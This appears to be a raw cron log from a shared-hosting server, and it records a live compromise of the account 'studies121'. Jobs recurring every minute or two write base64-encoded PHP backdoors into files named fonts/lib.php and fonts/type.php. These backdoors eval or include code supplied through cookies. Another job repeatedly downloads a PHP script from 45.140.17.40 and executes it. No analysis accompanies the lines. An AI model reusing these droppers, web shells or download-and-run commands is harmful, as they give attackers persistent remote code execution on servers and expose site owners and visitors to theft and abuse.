Sep 22 09:05:01 ip-184-168-122-23 CROND[3663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:05:01 ip-184-168-122-23 CROND[3665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:05:01 ip-184-168-122-23 CROND[3667]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:05:01 ip-184-168-122-23 CROND[3670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:05:01 ip-184-168-122-23 CROND[3671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:05:01 ip-184-168-122-23 CROND[3672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:05:01 ip-184-168-122-23 CROND[3673]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 09:06:01 ip-184-168-122-23 CROND[4359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:06:01 ip-184-168-122-23 CROND[4360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:06:01 ip-184-168-122-23 CROND[4361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:06:01 ip-184-168-122-23 CROND[4364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:06:01 ip-184-168-122-23 CROND[4365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:07:01 ip-184-168-122-23 CROND[5095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:07:01 ip-184-168-122-23 CROND[5096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:07:01 ip-184-168-122-23 CROND[5098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:07:01 ip-184-168-122-23 CROND[5101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:08:01 ip-184-168-122-23 CROND[5296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:08:01 ip-184-168-122-23 CROND[5295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:08:01 ip-184-168-122-23 CROND[5298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:08:01 ip-184-168-122-23 CROND[5299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:08:01 ip-184-168-122-23 CROND[5303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:09:01 ip-184-168-122-23 CROND[5451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:09:01 ip-184-168-122-23 CROND[5453]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 09:09:01 ip-184-168-122-23 CROND[5456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:09:01 ip-184-168-122-23 CROND[5457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:09:01 ip-184-168-122-23 CROND[5454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:10:01 ip-184-168-122-23 CROND[5742]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 09:10:01 ip-184-168-122-23 CROND[5747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:10:01 ip-184-168-122-23 CROND[5749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:10:01 ip-184-168-122-23 CROND[5746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:10:01 ip-184-168-122-23 CROND[5753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:10:01 ip-184-168-122-23 CROND[5752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:10:01 ip-184-168-122-23 CROND[5751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:10:01 ip-184-168-122-23 CROND[5756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:11:01 ip-184-168-122-23 CROND[5872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:11:01 ip-184-168-122-23 CROND[5873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:11:01 ip-184-168-122-23 CROND[5874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:11:01 ip-184-168-122-23 CROND[5875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:12:01 ip-184-168-122-23 CROND[5993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:12:01 ip-184-168-122-23 CROND[5998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:12:01 ip-184-168-122-23 CROND[5995]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:12:01 ip-184-168-122-23 CROND[5999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:12:01 ip-184-168-122-23 CROND[5996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:13:01 ip-184-168-122-23 CROND[6156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:13:01 ip-184-168-122-23 CROND[6157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:13:01 ip-184-168-122-23 CROND[6159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:13:01 ip-184-168-122-23 CROND[6161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:14:01 ip-184-168-122-23 CROND[6340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:14:01 ip-184-168-122-23 CROND[6342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:14:01 ip-184-168-122-23 CROND[6344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:14:01 ip-184-168-122-23 CROND[6345]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:14:01 ip-184-168-122-23 CROND[6343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:15:01 ip-184-168-122-23 CROND[6508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:15:01 ip-184-168-122-23 CROND[6509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:15:01 ip-184-168-122-23 CROND[6510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:15:01 ip-184-168-122-23 CROND[6511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:15:01 ip-184-168-122-23 CROND[6514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:15:01 ip-184-168-122-23 CROND[6513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:16:02 ip-184-168-122-23 CROND[6733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:16:02 ip-184-168-122-23 CROND[6737]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:16:02 ip-184-168-122-23 CROND[6738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:16:02 ip-184-168-122-23 CROND[6736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:16:02 ip-184-168-122-23 CROND[6735]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 09:16:02 ip-184-168-122-23 CROND[6739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:17:01 ip-184-168-122-23 CROND[6865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
